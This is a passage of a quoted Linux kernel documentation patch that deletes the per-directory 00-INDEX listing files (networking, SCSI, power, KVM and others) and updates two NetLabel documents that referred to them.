> -ioctl-decoding.txt
> -	- how to decode the bits of an IOCTL code
> -ioctl-number.txt
> -	- how to implement and register device/driver ioctl calls
> diff --git a/Documentation/isdn/00-INDEX b/Documentation/isdn/00-INDEX
> deleted file mode 100644
> index 2d1889b..0000000
> --- a/Documentation/isdn/00-INDEX
> +++ /dev/null
> @@ -1,42 +0,0 @@
> -00-INDEX
> -	- this file (info on ISDN implementation for Linux)
> -CREDITS
> -	- list of the kind folks that brought you this stuff.
> -HiSax.cert
> -	- information about the ITU approval certification of the HiSax driver.
> -INTERFACE
> -	- description of isdn4linux Link Level and Hardware Level interfaces.
> -INTERFACE.fax
> -	- description of the fax subinterface of isdn4linux.
> -INTERFACE.CAPI
> -	- description of kernel CAPI Link Level to Hardware Level interface.
> -README
> -	- general info on what you need and what to do for Linux ISDN.
> -README.FAQ
> -	- general info for FAQ.
> -README.HiSax
> -	- info on the HiSax driver which replaces the old teles.
> -README.audio
> -	- info for running audio over ISDN.
> -README.avmb1
> -	- info on driver for AVM-B1 ISDN card.
> -README.concap
> -	- info on "CONCAP" encapsulation protocol interface used for X.25.
> -README.diversion
> -	- info on module for isdn diversion services.
> -README.fax
> -	- info for using Fax over ISDN.
> -README.gigaset
> -	- info on the drivers for Siemens Gigaset ISDN adapters
> -README.hfc-pci
> -	- info on hfc-pci based cards.
> -README.hysdn
> -        - info on driver for Hypercope active HYSDN cards
> -README.mISDN
> -	- info on the Modular ISDN subsystem (mISDN)
> -README.syncppp
> -	- info on running Sync PPP over ISDN.
> -README.x25
> -	- info for running X.25 over ISDN.
> -syncPPP.FAQ
> -	- frequently asked questions about running PPP over ISDN.
> diff --git a/Documentation/kbuild/00-INDEX b/Documentation/kbuild/00-INDEX
> deleted file mode 100644
> index 8c5e6aa..0000000
> --- a/Documentation/kbuild/00-INDEX
> +++ /dev/null
> @@ -1,14 +0,0 @@
> -00-INDEX
> -	- this file: info on the kernel build process
> -headers_install.txt
> -	- how to export Linux headers for use by userspace
> -kbuild.txt
> -	- developer information on kbuild
> -kconfig.txt
> -	- usage help for make *config
> -kconfig-language.txt
> -	- specification of Config Language, the language in Kconfig files
> -makefiles.txt
> -	- developer information for linux kernel makefiles
> -modules.txt
> -	- how to build modules and to install them
> diff --git a/Documentation/laptops/00-INDEX b/Documentation/laptops/00-INDEX
> deleted file mode 100644
> index 86169dc..0000000
> --- a/Documentation/laptops/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- This file
> -asus-laptop.txt
> -	- information on the Asus Laptop Extras driver.
> -disk-shock-protection.txt
> -	- information on hard disk shock protection.
> -laptop-mode.txt
> -	- how to conserve battery power using laptop-mode.
> -sony-laptop.txt
> -	- Sony Notebook Control Driver (SNC) Readme.
> -sonypi.txt
> -	- info on Linux Sony Programmable I/O Device support.
> -thinkpad-acpi.txt
> -	- information on the (IBM and Lenovo) ThinkPad ACPI Extras driver.
> -toshiba_haps.txt
> -	- information on the Toshiba HDD Active Protection Sensor driver.
> diff --git a/Documentation/leds/00-INDEX b/Documentation/leds/00-INDEX
> deleted file mode 100644
> index ae626b2..0000000
> --- a/Documentation/leds/00-INDEX
> +++ /dev/null
> @@ -1,32 +0,0 @@
> -00-INDEX
> -	- This file
> -leds-blinkm.txt
> -	- Driver for BlinkM LED-devices.
> -leds-class.txt
> -	- documents LED handling under Linux.
> -leds-class-flash.txt
> -	- documents flash LED handling under Linux.
> -leds-lm3556.txt
> -	- notes on how to use the leds-lm3556 driver.
> -leds-lp3944.txt
> -	- notes on how to use the leds-lp3944 driver.
> -leds-lp5521.txt
> -	- notes on how to use the leds-lp5521 driver.
> -leds-lp5523.txt
> -	- notes on how to use the leds-lp5523 driver.
> -leds-lp5562.txt
> -	- notes on how to use the leds-lp5562 driver.
> -leds-lp55xx.txt
> -	- description about lp55xx common driver.
> -leds-lm3556.txt
> -	- notes on how to use the leds-lm3556 driver.
> -leds-mlxcpld.txt
> -	- notes on how to use the leds-mlxcpld driver.
> -ledtrig-oneshot.txt
> -	- One-shot LED trigger for both sporadic and dense events.
> -ledtrig-transient.txt
> -	- LED Transient Trigger, one shot timer activation.
> -ledtrig-usbport.txt
> -	- notes on how to use the drivers/usb/core/ledtrig-usbport.c trigger.
> -uleds.txt
> -	- notes on how to use the uleds driver.
> diff --git a/Documentation/locking/00-INDEX b/Documentation/locking/00-INDEX
> deleted file mode 100644
> index c256c9b..0000000
> --- a/Documentation/locking/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -lockdep-design.txt
> -	- documentation on the runtime locking correctness validator.
> -lockstat.txt
> -	- info on collecting statistics on locks (and contention).
> -mutex-design.txt
> -	- info on the generic mutex subsystem.
> -rt-mutex-design.txt
> -	- description of the RealTime mutex implementation design.
> -rt-mutex.txt
> -	- desc. of RT-mutex subsystem with PI (Priority Inheritance) support.
> -spinlocks.txt
> -	- info on using spinlocks to provide exclusive access in kernel.
> -ww-mutex-design.txt
> -	- Intro to Mutex wait/would deadlock handling.s
> diff --git a/Documentation/m68k/00-INDEX b/Documentation/m68k/00-INDEX
> deleted file mode 100644
> index 2be8c6b..0000000
> --- a/Documentation/m68k/00-INDEX
> +++ /dev/null
> @@ -1,7 +0,0 @@
> -00-INDEX
> -	- this file
> -README.buddha
> -	- Amiga Buddha and Catweasel IDE Driver
> -kernel-options.txt
> -	- command line options for Linux/m68k
> -
> diff --git a/Documentation/mips/00-INDEX b/Documentation/mips/00-INDEX
> deleted file mode 100644
> index 8ae9cff..0000000
> --- a/Documentation/mips/00-INDEX
> +++ /dev/null
> @@ -1,4 +0,0 @@
> -00-INDEX
> -	- this file.
> -AU1xxx_IDE.README
> -	- README for MIPS AU1XXX IDE driver.
> diff --git a/Documentation/mmc/00-INDEX b/Documentation/mmc/00-INDEX
> deleted file mode 100644
> index 4623bc0..0000000
> --- a/Documentation/mmc/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -        - this file
> -mmc-dev-attrs.txt
> -        - info on SD and MMC device attributes
> -mmc-dev-parts.txt
> -        - info on SD and MMC device partitions
> -mmc-async-req.txt
> -        - info on mmc asynchronous requests
> -mmc-tools.txt
> -	- info on mmc-utils tools
> diff --git a/Documentation/netlabel/00-INDEX b/Documentation/netlabel/00-INDEX
> deleted file mode 100644
> index 837bf35..0000000
> --- a/Documentation/netlabel/00-INDEX
> +++ /dev/null
> @@ -1,10 +0,0 @@
> -00-INDEX
> -	- this file.
> -cipso_ipv4.txt
> -	- documentation on the IPv4 CIPSO protocol engine.
> -draft-ietf-cipso-ipsecurity-01.txt
> -	- IETF draft of the CIPSO protocol, dated 16 July 1992.
> -introduction.txt
> -	- NetLabel introduction, READ THIS FIRST.
> -lsm_interface.txt
> -	- documentation on the NetLabel kernel security module API.
> diff --git a/Documentation/netlabel/cipso_ipv4.txt b/Documentation/netlabel/cipso_ipv4.txt
> index 93dacb1..a607548 100644
> --- a/Documentation/netlabel/cipso_ipv4.txt
> +++ b/Documentation/netlabel/cipso_ipv4.txt
> @@ -6,11 +6,12 @@ May 17, 2006
> 
>   * Overview
> 
> -The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial IP
> -Security Option (CIPSO) draft from July 16, 1992.  A copy of this draft can be
> -found in this directory, consult '00-INDEX' for the filename.  While the IETF
> -draft never made it to an RFC standard it has become a de-facto standard for
> -labeled networking and is used in many trusted operating systems.
> +The NetLabel CIPSO/IPv4 protocol engine is based on the IETF Commercial
> +IP Security Option (CIPSO) draft from July 16, 1992.  A copy of this
> +draft can be found in this directory
> +(draft-ietf-cipso-ipsecurity-01.txt).  While the IETF draft never made
> +it to an RFC standard it has become a de-facto standard for labeled
> +networking and is used in many trusted operating systems.
> 
>   * Outbound Packet Processing
> 
> diff --git a/Documentation/netlabel/introduction.txt b/Documentation/netlabel/introduction.txt
> index 5ecd8d1..3caf77b 100644
> --- a/Documentation/netlabel/introduction.txt
> +++ b/Documentation/netlabel/introduction.txt
> @@ -22,7 +22,7 @@ refrain from calling the protocol engines directly, instead they should use
>  the NetLabel kernel security module API described below.
> 
>  Detailed information about each NetLabel protocol engine can be found in this
> -directory, consult '00-INDEX' for filenames.
> +directory.
> 
>   * Communication Layer
> 
> diff --git a/Documentation/networking/00-INDEX b/Documentation/networking/00-INDEX
> deleted file mode 100644
> index 02a323c..0000000
> --- a/Documentation/networking/00-INDEX
> +++ /dev/null
> @@ -1,234 +0,0 @@
> -00-INDEX
> -	- this file
> -3c509.txt
> -	- information on the 3Com Etherlink III Series Ethernet cards.
> -6pack.txt
> -	- info on the 6pack protocol, an alternative to KISS for AX.25
> -LICENSE.qla3xxx
> -	- GPLv2 for QLogic Linux Networking HBA Driver
> -LICENSE.qlge
> -	- GPLv2 for QLogic Linux qlge NIC Driver
> -LICENSE.qlcnic
> -	- GPLv2 for QLogic Linux qlcnic NIC Driver
> -PLIP.txt
> -	- PLIP: The Parallel Line Internet Protocol device driver
> -README.ipw2100
> -	- README for the Intel PRO/Wireless 2100 driver.
> -README.ipw2200
> -	- README for the Intel PRO/Wireless 2915ABG and 2200BG driver.
> -README.sb1000
> -	- info on General Instrument/NextLevel SURFboard1000 cable modem.
> -altera_tse.txt
> -	- Altera Triple-Speed Ethernet controller.
> -arcnet-hardware.txt
> -	- tons of info on ARCnet, hubs, jumper settings for ARCnet cards, etc.
> -arcnet.txt
> -	- info on the using the ARCnet driver itself.
> -atm.txt
> -	- info on where to get ATM programs and support for Linux.
> -ax25.txt
> -	- info on using AX.25 and NET/ROM code for Linux
> -baycom.txt
> -	- info on the driver for Baycom style amateur radio modems
> -bonding.txt
> -	- Linux Ethernet Bonding Driver HOWTO: link aggregation in Linux.
> -bridge.txt
> -	- where to get user space programs for ethernet bridging with Linux.
> -cdc_mbim.txt
> -	- 3G/LTE USB modem (Mobile Broadband Interface Model)
> -checksum-offloads.txt
> -	- Explanation of checksum offloads; LCO, RCO
> -cops.txt
> -	- info on the COPS LocalTalk Linux driver
> -cs89x0.txt
> -	- the Crystal LAN (CS8900/20-based) Ethernet ISA adapter driver
> -cxacru.txt
> -	- Conexant AccessRunner USB ADSL Modem
> -cxacru-cf.py
> -	- Conexant AccessRunner USB ADSL Modem configuration file parser
> -cxgb.txt
> -	- Release Notes for the Chelsio N210 Linux device driver.
> -dccp.txt
> -	- the Datagram Congestion Control Protocol (DCCP) (RFC 4340..42).
> -dctcp.txt
> -	- DataCenter TCP congestion control
> -de4x5.txt
> -	- the Digital EtherWORKS DE4?? and DE5?? PCI Ethernet driver
> -decnet.txt
> -	- info on using the DECnet networking layer in Linux.
> -dl2k.txt
> -	- README for D-Link DL2000-based Gigabit Ethernet Adapters (dl2k.ko).
> -dm9000.txt
> -	- README for the Simtec DM9000 Network driver.
> -dmfe.txt
> -	- info on the Davicom DM9102(A)/DM9132/DM9801 fast ethernet driver.
> -dns_resolver.txt
> -	- The DNS resolver module allows kernel servies to make DNS queries.
> -driver.txt
> -	- Softnet driver issues.
> -ena.txt
> -	- info on Amazon's Elastic Network Adapter (ENA)
> -e100.txt
> -	- info on Intel's EtherExpress PRO/100 line of 10/100 boards
> -e1000.txt
> -	- info on Intel's E1000 line of gigabit ethernet boards
> -e1000e.txt
> -	- README for the Intel Gigabit Ethernet Driver (e1000e).
> -eql.txt
> -	- serial IP load balancing
> -fib_trie.txt
> -	- Level Compressed Trie (LC-trie) notes: a structure for routing.
> -filter.txt
> -	- Linux Socket Filtering
> -fore200e.txt
> -	- FORE Systems PCA-200E/SBA-200E ATM NIC driver info.
> -framerelay.txt
> -	- info on using Frame Relay/Data Link Connection Identifier (DLCI).
> -gen_stats.txt
> -	- Generic networking statistics for netlink users.
> -generic-hdlc.txt
> -	- The generic High Level Data Link Control (HDLC) layer.
> -generic_netlink.txt
> -	- info on Generic Netlink
> -gianfar.txt
> -	- Gianfar Ethernet Driver.
> -i40e.txt
> -	- README for the Intel Ethernet Controller XL710 Driver (i40e).
> -i40evf.txt
> -	- Short note on the Driver for the Intel(R) XL710 X710 Virtual Function
> -ieee802154.txt
> -	- Linux IEEE 802.15.4 implementation, API and drivers
> -igb.txt
> -	- README for the Intel Gigabit Ethernet Driver (igb).
> -igbvf.txt
> -	- README for the Intel Gigabit Ethernet Driver (igbvf).
> -ip-sysctl.txt
> -	- /proc/sys/net/ipv4/* variables
> -ip_dynaddr.txt
> -	- IP dynamic address hack e.g. for auto-dialup links
> -ipddp.txt
> -	- AppleTalk-IP Decapsulation and AppleTalk-IP Encapsulation
> -iphase.txt
> -	- Interphase PCI ATM (i)Chip IA Linux driver info.
> -ipsec.txt
> -	- Note on not compressing IPSec payload and resulting failed policy check.
> -ipv6.txt
> -	- Options to the ipv6 kernel module.
> -ipvs-sysctl.txt
> -	- Per-inode explanation of the /proc/sys/net/ipv4/vs interface.
> -irda.txt
> -	- where to get IrDA (infrared) utilities and info for Linux.
> -ixgb.txt
> -	- README for the Intel 10 Gigabit Ethernet Driver (ixgb).
> -ixgbe.txt
> -	- README for the Intel 10 Gigabit Ethernet Driver (ixgbe).
> -ixgbevf.txt
> -	- README for the Intel Virtual Function (VF) Driver (ixgbevf).
> -l2tp.txt
> -	- User guide to the L2TP tunnel protocol.
> -lapb-module.txt
> -	- programming information of the LAPB module.
> -ltpc.txt
> -	- the Apple or Farallon LocalTalk PC card driver
> -mac80211-auth-assoc-deauth.txt
> -	- authentication and association / deauth-disassoc with max80211
> -mac80211-injection.txt
> -	- HOWTO use packet injection with mac80211
> -multiqueue.txt
> -	- HOWTO for multiqueue network device support.
> -netconsole.txt
> -	- The network console module netconsole.ko: configuration and notes.
> -netdev-features.txt
> -	- Network interface features API description.
> -netdevices.txt
> -	- info on network device driver functions exported to the kernel.
> -netif-msg.txt
> -	- Design of the network interface message level setting (NETIF_MSG_*).
> -netlink_mmap.txt
> -	- memory mapped I/O with netlink
> -nf_conntrack-sysctl.txt
> -	- list of netfilter-sysctl knobs.
> -nfc.txt
> -	- The Linux Near Field Communication (NFS) subsystem.
> -openvswitch.txt
> -	- Open vSwitch developer documentation.
> -operstates.txt
> -	- Overview of network interface operational states.
> -packet_mmap.txt
> -	- User guide to memory mapped packet socket rings (PACKET_[RT]X_RING).
> -phonet.txt
> -	- The Phonet packet protocol used in Nokia cellular modems.
> -phy.txt
> -	- The PHY abstraction layer.
> -pktgen.txt
> -	- User guide to the kernel packet generator (pktgen.ko).
> -policy-routing.txt
> -	- IP policy-based routing
> -ppp_generic.txt
> -	- Information about the generic PPP driver.
> -proc_net_tcp.txt
> -	- Per inode overview of the /proc/net/tcp and /proc/net/tcp6 interfaces.
> -radiotap-headers.txt
> -	- Background on radiotap headers.
> -ray_cs.txt
> -	- Raylink Wireless LAN card driver info.
> -rds.txt
> -	- Background on the reliable, ordered datagram delivery method RDS.
> -regulatory.txt
> -	- Overview of the Linux wireless regulatory infrastructure.
> -rxrpc.txt
> -	- Guide to the RxRPC protocol.
> -s2io.txt
> -	- Release notes for Neterion Xframe I/II 10GbE driver.
> -scaling.txt
> -	- Explanation of network scaling techniques: RSS, RPS, RFS, aRFS, XPS.
> -sctp.txt
> -	- Notes on the Linux kernel implementation of the SCTP protocol.
> -secid.txt
> -	- Explanation of the secid member in flow structures.
> -skfp.txt
> -	- SysKonnect FDDI (SK-5xxx, Compaq Netelligent) driver info.
> -smc9.txt
> -	- the driver for SMC's 9000 series of Ethernet cards
> -spider_net.txt
> -	- README for the Spidernet Driver (as found in PS3 / Cell BE).
> -stmmac.txt
> -	- README for the STMicro Synopsys Ethernet driver.
> -tc-actions-env-rules.txt
> -	- rules for traffic control (tc) actions.
> -timestamping.txt
> -	- overview of network packet timestamping variants.
> -tcp.txt
> -	- short blurb on how TCP output takes place.
> -tcp-thin.txt
> -	- kernel tuning options for low rate 'thin' TCP streams.
> -team.txt
> -	- pointer to information for ethernet teaming devices.
> -tlan.txt
> -	- ThunderLAN (Compaq Netelligent 10/100, Olicom OC-2xxx) driver info.
> -tproxy.txt
> -	- Transparent proxy support user guide.
> -tuntap.txt
> -	- TUN/TAP device driver, allowing user space Rx/Tx of packets.
> -udplite.txt
> -	- UDP-Lite protocol (RFC 3828) introduction.
> -vortex.txt
> -	- info on using 3Com Vortex (3c590, 3c592, 3c595, 3c597) Ethernet cards.
> -vxge.txt
> -	- README for the Neterion X3100 PCIe Server Adapter.
> -vxlan.txt
> -	- Virtual extensible LAN overview
> -x25.txt
> -	- general info on X.25 development.
> -x25-iface.txt
> -	- description of the X.25 Packet Layer to LAPB device interface.
> -xfrm_device.txt
> -	- description of XFRM offload API
> -xfrm_proc.txt
> -	- description of the statistics package for XFRM.
> -xfrm_sync.txt
> -	- sync patches for XFRM enable migration of an SA between hosts.
> -xfrm_sysctl.txt
> -	- description of the XFRM configuration options.
> -z8530drv.txt
> -	- info about Linux driver for Z8530 based HDLC cards for AX.25
> diff --git a/Documentation/parisc/00-INDEX b/Documentation/parisc/00-INDEX
> deleted file mode 100644
> index cbd0609..0000000
> --- a/Documentation/parisc/00-INDEX
> +++ /dev/null
> @@ -1,6 +0,0 @@
> -00-INDEX
> -	- this file.
> -debugging
> -	- some debugging hints for real-mode code
> -registers
> -	- current/planned usage of registers
> diff --git a/Documentation/power/00-INDEX b/Documentation/power/00-INDEX
> deleted file mode 100644
> index 7f3c2de..0000000
> --- a/Documentation/power/00-INDEX
> +++ /dev/null
> @@ -1,44 +0,0 @@
> -00-INDEX
> -	- This file
> -apm-acpi.txt
> -	- basic info about the APM and ACPI support.
> -basic-pm-debugging.txt
> -	- Debugging suspend and resume
> -charger-manager.txt
> -	- Battery charger management.
> -admin-guide/devices.rst
> -	- How drivers interact with system-wide power management
> -drivers-testing.txt
> -	- Testing suspend and resume support in device drivers
> -freezing-of-tasks.txt
> -	- How processes and controlled during suspend
> -interface.txt
> -	- Power management user interface in /sys/power
> -opp.txt
> -	- Operating Performance Point library
> -pci.txt
> -	- How the PCI Subsystem Does Power Management
> -pm_qos_interface.txt
> -	- info on Linux PM Quality of Service interface
> -power_supply_class.txt
> -	- Tells userspace about battery, UPS, AC or DC power supply properties
> -runtime_pm.txt
> -	- Power management framework for I/O devices.
> -s2ram.txt
> -	- How to get suspend to ram working (and debug it when it isn't)
> -states.txt
> -	- System power management states
> -suspend-and-cpuhotplug.txt
> -	- Explains the interaction between Suspend-to-RAM (S3) and CPU hotplug
> -swsusp-and-swap-files.txt
> -	- Using swap files with software suspend (to disk)
> -swsusp-dmcrypt.txt
> -	- How to use dm-crypt and software suspend (to disk) together
> -swsusp.txt
> -	- Goals, implementation, and usage of software suspend (ACPI S3)
> -tricks.txt
> -	- How to trick software suspend (to disk) into working when it isn't
> -userland-swsusp.txt
> -	- Experimental implementation of software suspend in userspace
> -video.txt
> -	- Video issues during resume from suspend
> diff --git a/Documentation/powerpc/00-INDEX b/Documentation/powerpc/00-INDEX
> deleted file mode 100644
> index 9dc845c..0000000
> --- a/Documentation/powerpc/00-INDEX
> +++ /dev/null
> @@ -1,34 +0,0 @@
> -Index of files in Documentation/powerpc.  If you think something about
> -Linux/PPC needs an entry here, needs correction or you've written one
> -please mail me.
> -                                        Cort Dougan (cort@fsmlabs.com)
> -
> -00-INDEX
> -	- this file
> -bootwrapper.txt
> -	- Information on how the powerpc kernel is wrapped for boot on various
> -	  different platforms.
> -cpu_features.txt
> -	- info on how we support a variety of CPUs with minimal compile-time
> -	options.
> -cxl.txt
> -	- Overview of the CXL driver.
> -eeh-pci-error-recovery.txt
> -	- info on PCI Bus EEH Error Recovery
> -firmware-assisted-dump.txt
> -	- Documentation on the firmware assisted dump mechanism "fadump".
> -hvcs.txt
> -	- IBM "Hypervisor Virtual Console Server" Installation Guide
> -mpc52xx.txt
> -	- Linux 2.6.x on MPC52xx family
> -pmu-ebb.txt
> -	- Description of the API for using the PMU with Event Based Branches.
> -qe_firmware.txt
> -	- describes the layout of firmware binaries for the Freescale QUICC
> -	  Engine and the code that parses and uploads the microcode therein.
> -ptrace.txt
> -	- Information on the ptrace interfaces for hardware debug registers.
> -transactional_memory.txt
> -	- Overview of the Power8 transactional memory support.
> -dscr.txt
> -	- Overview DSCR (Data Stream Control Register) support.
> diff --git a/Documentation/s390/00-INDEX b/Documentation/s390/00-INDEX
> deleted file mode 100644
> index 317f037..0000000
> --- a/Documentation/s390/00-INDEX
> +++ /dev/null
> @@ -1,28 +0,0 @@
> -00-INDEX
> -	- this file.
> -3270.ChangeLog
> -	- ChangeLog for the UTS Global 3270-support patch (outdated).
> -3270.txt
> -	- how to use the IBM 3270 display system support.
> -cds.txt
> -	- s390 common device support (common I/O layer).
> -CommonIO
> -	- common I/O layer command line parameters, procfs and debugfs	entries
> -config3270.sh
> -	- example configuration for 3270 devices.
> -DASD
> -	- information on the DASD disk device driver.
> -Debugging390.txt
> -	- hints for debugging on s390 systems.
> -driver-model.txt
> -	- information on s390 devices and the driver model.
> -monreader.txt
> -	- information on accessing the z/VM monitor stream from Linux.
> -qeth.txt
> -	- HiperSockets Bridge Port Support.
> -s390dbf.txt
> -	- information on using the s390 debug feature.
> -vfio-ccw.txt
> -	  information on the vfio-ccw I/O subchannel driver.
> -zfcpdump.txt
> -	- information on the s390 SCSI dump tool.
> diff --git a/Documentation/scheduler/00-INDEX b/Documentation/scheduler/00-INDEX
> deleted file mode 100644
> index eccf7ad..0000000
> --- a/Documentation/scheduler/00-INDEX
> +++ /dev/null
> @@ -1,18 +0,0 @@
> -00-INDEX
> -	- this file.
> -sched-arch.txt
> -	- CPU Scheduler implementation hints for architecture specific code.
> -sched-bwc.txt
> -	- CFS bandwidth control overview.
> -sched-design-CFS.txt
> -	- goals, design and implementation of the Completely Fair Scheduler.
> -sched-domains.txt
> -	- information on scheduling domains.
> -sched-nice-design.txt
> -	- How and why the scheduler's nice levels are implemented.
> -sched-rt-group.txt
> -	- real-time group scheduling.
> -sched-deadline.txt
> -	- deadline scheduling.
> -sched-stats.txt
> -	- information on schedstats (Linux Scheduler Statistics).
> diff --git a/Documentation/scsi/00-INDEX b/Documentation/scsi/00-INDEX
> deleted file mode 100644
> index bb4a76f..0000000
> --- a/Documentation/scsi/00-INDEX
> +++ /dev/null
> @@ -1,108 +0,0 @@
> -00-INDEX
> -	- this file
> -53c700.txt
> -	- info on driver for 53c700 based adapters
> -BusLogic.txt
> -	- info on driver for adapters with BusLogic chips
> -ChangeLog.1992-1997
> -	- Changes to scsi files, if not listed elsewhere
> -ChangeLog.arcmsr
> -	- Changes to driver for ARECA's SATA RAID controller cards
> -ChangeLog.ips
> -	- IBM ServeRAID driver Changelog
> -ChangeLog.lpfc
> -	- Changes to lpfc driver
> -ChangeLog.megaraid
> -	- Changes to LSI megaraid controller.
> -ChangeLog.megaraid_sas
> -	- Changes to serial attached scsi version of LSI megaraid controller.
> -ChangeLog.ncr53c8xx
> -	- Changes to ncr53c8xx driver
> -ChangeLog.sym53c8xx
> -	- Changes to sym53c8xx driver
> -ChangeLog.sym53c8xx_2
> -	- Changes to second generation of sym53c8xx driver
> -FlashPoint.txt
> -	- info on driver for BusLogic FlashPoint adapters
> -LICENSE.FlashPoint
> -	- Licence of the Flashpoint driver
> -LICENSE.qla2xxx
> -	- License for QLogic Linux Fibre Channel HBA Driver firmware.
> -LICENSE.qla4xxx
> -	- License for QLogic Linux iSCSI HBA Driver.
> -Mylex.txt
> -	- info on driver for Mylex adapters
> -NinjaSCSI.txt
> -	- info on WorkBiT NinjaSCSI-32/32Bi driver
> -aacraid.txt
> -	- Driver supporting Adaptec RAID controllers
> -advansys.txt
> -	- List of Advansys Host Adapters
> -aha152x.txt
> -	- info on driver for Adaptec AHA152x based adapters
> -aic79xx.txt
> -	- Adaptec Ultra320 SCSI host adapters
> -aic7xxx.txt
> -	- info on driver for Adaptec controllers
> -arcmsr_spec.txt
> -	- ARECA FIRMWARE SPEC (for IOP331 adapter)
> -bfa.txt
> -	- Brocade FC/FCOE adapter driver.
> -bnx2fc.txt
> -	- FCoE hardware offload for Broadcom network interfaces.
> -cxgb3i.txt
> -	- Chelsio iSCSI Linux Driver
> -dc395x.txt
> -	- README file for the dc395x SCSI driver
> -dpti.txt
> -	- info on driver for DPT SmartRAID and Adaptec I2O RAID based adapters
> -dtc3x80.txt
> -	- info on driver for DTC 2x80 based adapters
> -g_NCR5380.txt
> -	- info on driver for NCR5380 and NCR53c400 based adapters
> -hpsa.txt
> -	- HP Smart Array Controller SCSI driver.
> -hptiop.txt
> -	- HIGHPOINT ROCKETRAID 3xxx RAID DRIVER
> -libsas.txt
> -	- Serial Attached SCSI management layer.
> -link_power_management_policy.txt
> -	- Link power management options.
> -lpfc.txt
> -	- LPFC driver release notes
> -megaraid.txt
> -	- Common Management Module, shared code handling ioctls for LSI drivers
> -ncr53c8xx.txt
> -	- info on driver for NCR53c8xx based adapters
> -osd.txt
> -	Object-Based Storage Device, command set introduction.
> -osst.txt
> -	- info on driver for OnStream SC-x0 SCSI tape
> -ppa.txt
> -	- info on driver for IOmega zip drive
> -qlogicfas.txt
> -	- info on driver for QLogic FASxxx based adapters
> -scsi-changer.txt
> -	- README for the SCSI media changer driver
> -scsi-generic.txt
> -	- info on the sg driver for generic (non-disk/CD/tape) SCSI devices.
> -scsi-parameters.txt
> -	- List of SCSI-parameters to pass to the kernel at module load-time.
> -scsi.txt
> -	- short blurb on using SCSI support as a module.
> -scsi_mid_low_api.txt
> -	- info on API between SCSI layer and low level drivers
> -scsi_eh.txt
> -	- info on SCSI midlayer error handling infrastructure
> -scsi_fc_transport.txt
> -	- SCSI Fiber Channel Tansport
> -st.txt
> -	- info on scsi tape driver
> -sym53c500_cs.txt
> -	- info on PCMCIA driver for Symbios Logic 53c500 based adapters
> -sym53c8xx_2.txt
> -	- info on second generation driver for sym53c8xx based adapters
> -tmscsim.txt
> -	- info on driver for AM53c974 based adapters
> -ufs.txt
> -	- info on Universal Flash Storage(UFS) and UFS host controller driver.
> diff --git a/Documentation/serial/00-INDEX b/Documentation/serial/00-INDEX
> deleted file mode 100644
> index 8021a9f..0000000
> --- a/Documentation/serial/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -README.cycladesZ
> -	- info on Cyclades-Z firmware loading.
> -driver
> -	- intro to the low level serial driver.
> -moxa-smartio
> -	- file with info on installing/using Moxa multiport serial driver.
> -n_gsm.txt
> -	- GSM 0710 tty multiplexer howto.
> -rocket.txt
> -	- info on the Comtrol RocketPort multiport serial driver.
> -serial-rs485.txt
> -	- info about RS485 structures and support in the kernel.
> -tty.txt
> -	- guide to the locking policies of the tty layer.
> diff --git a/Documentation/spi/00-INDEX b/Documentation/spi/00-INDEX
> deleted file mode 100644
> index 8e4bb17..0000000
> --- a/Documentation/spi/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -butterfly
> -	- AVR Butterfly SPI driver overview and pin configuration.
> -ep93xx_spi
> -	- Basic EP93xx SPI driver configuration.
> -pxa2xx
> -	- PXA2xx SPI master controller build by spi_message fifo wq
> -spidev
> -	- Intro to the userspace API for spi devices
> -spi-lm70llp
> -	- Connecting an LM70-LLP sensor to the kernel via the SPI subsys.
> -spi-sc18is602
> -	- NXP SC18IS602/603 I2C-bus to SPI bridge
> -spi-summary
> -	- (Linux) SPI overview. If unsure about SPI or SPI in Linux, start here.
> diff --git a/Documentation/sysctl/00-INDEX b/Documentation/sysctl/00-INDEX
> deleted file mode 100644
> index 8cf5d49..0000000
> --- a/Documentation/sysctl/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file.
> -README
> -	- general information about /proc/sys/ sysctl files.
> -abi.txt
> -	- documentation for /proc/sys/abi/*.
> -fs.txt
> -	- documentation for /proc/sys/fs/*.
> -kernel.txt
> -	- documentation for /proc/sys/kernel/*.
> -net.txt
> -	- documentation for /proc/sys/net/*.
> -sunrpc.txt
> -	- documentation for /proc/sys/sunrpc/*.
> -vm.txt
> -	- documentation for /proc/sys/vm/*.
> diff --git a/Documentation/timers/00-INDEX b/Documentation/timers/00-INDEX
> deleted file mode 100644
> index 3be05fe..0000000
> --- a/Documentation/timers/00-INDEX
> +++ /dev/null
> @@ -1,16 +0,0 @@
> -00-INDEX
> -	- this file
> -highres.txt
> -	- High resolution timers and dynamic ticks design notes
> -hpet.txt
> -	- High Precision Event Timer Driver for Linux
> -hrtimers.txt
> -	- subsystem for high-resolution kernel timers
> -NO_HZ.txt
> -	- Summary of the different methods for the scheduler clock-interrupts management.
> -timekeeping.txt
> -	- Clock sources, clock events, sched_clock() and delay timer notes
> -timers-howto.txt
> -	- how to insert delays in the kernel the right (tm) way.
> -timer_stats.txt
> -	- timer usage statistics
> diff --git a/Documentation/virtual/00-INDEX b/Documentation/virtual/00-INDEX
> deleted file mode 100644
> index af0d239..0000000
> --- a/Documentation/virtual/00-INDEX
> +++ /dev/null
> @@ -1,11 +0,0 @@
> -Virtualization support in the Linux kernel.
> -
> -00-INDEX
> -	- this file.
> -
> -paravirt_ops.txt
> -	- Describes the Linux kernel pv_ops to support different hypervisors
> -kvm/
> -	- Kernel Virtual Machine.  See also http://linux-kvm.org
> -uml/
> -	- User Mode Linux, builds/runs Linux kernel as a userspace program.
> diff --git a/Documentation/virtual/kvm/00-INDEX b/Documentation/virtual/kvm/00-INDEX
> deleted file mode 100644
> index 3492458..0000000
> --- a/Documentation/virtual/kvm/00-INDEX
> +++ /dev/null
> @@ -1,35 +0,0 @@
> -00-INDEX
> -	- this file.
> -amd-memory-encryption.rst
> -	- notes on AMD Secure Encrypted Virtualization feature and SEV firmware
> -	  command description
> -api.txt
> -	- KVM userspace API.
> -arm
